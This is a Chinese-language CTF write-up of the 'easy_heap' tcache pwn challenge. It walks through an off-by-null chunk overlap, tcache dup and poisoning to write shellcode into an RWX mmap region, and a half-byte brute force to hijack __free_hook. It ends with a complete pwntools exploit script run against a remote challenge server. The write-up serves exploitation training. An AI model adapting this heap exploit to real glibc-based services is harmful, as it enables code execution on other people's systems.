(一)写在开篇

本期分享一道来自tcache attack的pwn赛题。此题属于堆利用范畴内综合性较强的一道题目,大家可以从中了解到很多与堆相关的攻击手段。

赛题链接:https://github.com/zszcr/ctfrepo/tree/master/tcache/easy_heap

(二)解题过程

1. 保护策略。

2. 漏洞所在。

3. 在input函数中,存在一个off by null的漏洞。同时,执行mmap程序后映射出一段可读、可写和可执行的地址,将其打印。

4 解题思路:

由于题目映射出了一段可读、可写和可执行的区域,并且没有开启沙箱。此时我们若在此处便写入shellcode,待后续我们劫持free_hook时,就可以无需写入libc中的system地址,而是直接填写shellcode的地址即可。

但是,此题不存在show函数。小星猜测出题人极大可能是没有打算让我们去泄露libc地址。猜测依据:若我们攻打io leak,libc地址肯定会被泄露。

所以此题主要还是以在mmap映射的内存中写入shellcode以及成功申请free_hook后,在free_hook中写入shellcode的地址为解题方向。

5. 如何在mmap映射的内存中写入shellcode?

我们肯定是可以通过攻打tcache dup+tcache poisoning后,将mmap映射的内存成功申请出来。但由于题目不存在UAF漏洞,如果利用off by null来攻打tcache dup,过程虽然繁琐,但最终还是能够达到目标。

(1)首先,申请十个堆块,再释放其中的七个以填满tcache bin。值得注意的是,我们需要保留一个堆块,防止后续堆块进入unsorted bin后和top chunk合并。除此以外,我们还需要利用剩余三个堆块,在通过off by null的方式完成堆块合并后,做一个堆块重叠。

编辑前的堆块和bins布局如下所示。

合并后的情况如下所示。

(2)做出堆块重叠后,因为是2.27的libc,所以我们直接打tcache dup+tcache poisoning即可。注意:在此之前需要如下图所示清空tcache bin。

(3)申请mmap映射出的内存。

(4)shellcode已被写入内存。

6.如何成功申请free_hook?

(1)在不清楚libc地址的情况下,如果要把free_hook申请出来,我们只能利用unsorted bin里残留的fd指针。

(2)在布局之前,我们首先需要把此前已申请出来的chunk全部释放至unsorted bin中,然后再进行申请操作。此时我们已无需再管该部分的内存,重新执行add函数并进行新的布局即可。但需要注意的是,由于此前我们攻打了tcache dup,导致0x100这条链已被损坏,所以后续我们也已无法再使用此链。

(3)利用思路再进行一次堆块重叠的布局,此次不打tcache dup,而是直接先将spy chunk(堆块重叠的chunk)释放,使unsorted bin的fd指针落在spy chunk上,这样tcache bin链上就能够出现libc的地址。

(4)申请spy chunk的内存。因为我们已经造成了堆块重叠,所以可以让spy chunk处于tcache链上后,再把它申请出来进行编辑。

(5)控制tcache链上的fd指针,把main_arena+88的地址修改为free_hook的地址后,将其申请出来。备注:该地址需要爆破半个字节。

(6)最初布局如下所示。

(7)利用off by null如下所示。

(8)进行合并后如下所示。

(9)释放spy chunk,并让其进入tcache bin后如下所示。

(10)执行add函数申请内存,保证使unsorted bin中的fd指针落在tcache链的fd指针上。

(11)最终将spy chunk内存成功申请出来。

备注:

(1)此处不能正好是spy chunk原来的尺寸,否则它就可以直接从tcache bin中获得。例如:在我的脚本中,spy chunk的大小是0x90,我就在此处申请一个0x30的chunk,以便对这片内存进行操作。

(2)编辑刚刚所申请的0x30的chunk,将main_arena+88改为free_hook的地址,注意此处需要爆破半个字节。若是在本地进行调整,大家可以关闭ASLR,这样就无需进行爆破操作了。

(3)这里不再演示爆破过程。最后一步为将爆出来的free_hook地址申请出来,写入最开始mmap映射的地址,并执行free函数以获取shell。

(4)最终exp如下所示:

from tools import *

#context.log_level='debug'

context.arch='amd64'

d_a=0xC85

d_e=0xC9D

d_d=0xC91

def add(size):

p.sendlineafter(">> ",str(1))

p.sendlineafter("Size: ",str(size))

p.recvuntil("Pointer Address ")

addr=int(p.recv(14),16)

return addr

def delete(index):

p.sendlineafter(">> ",str(2))

p.sendlineafter("Index: ",str(index))

def edit(index,content):

p.sendlineafter(">> ",str(3))

p.sendlineafter("Index: ",str(index))

p.sendlineafter("Content: ",content)

def pwn():

p.recvuntil("Mmap: ")

mmap_addr=int(p.recv(12),16)

log_addr('mmap_addr')

for i in range(10):

add(0xf8)

add(0x40)#prevent merge chunk

for i in range(8):

delete(i)

#debug(p,'pie',d_d,d_a,d_e)

edit(8,b'a'*0xf0+p64(0x200))

delete(9)

for i in range(7):

add(0xf8)

#delete(8)

add(0xf8)

add(0xf8)

delete(8)

delete(9)#double free

add(0xf8)

add(0xf8)

#add(0xf8)

edit(8,p64(mmap_addr))

add(0xf8)

add(0xf8)

edit(12,shellcode_store("shell_64"))

#上述在完成往mmap_addr写入shellcode

for i in range(9):

delete(i)

add(0x9f0)

add(0x4f8)

add(0x88)#spy chunk

add(0x4f8)

add(0x10)#prevent chunk

delete(1)

edit(2,b'a'*0x80+p64(0x590))

delete(3)

delete(2)

add(0x4f8)

add(0x30)

add(0x40)

edit(2,b'\xe8\x18')

add(0x88)

add(0x88)

edit(6,p64(mmap_addr))

delete(0)

p.interactive()

i=0

while 1:

try:

#p=remote("node4.buuoj.cn",25780)

log('----------------->',str(i))

p,e,libc=load("a","node4.buuoj.cn:25780")

pwn()

except:

p.close()

i=i+1

溢出成功!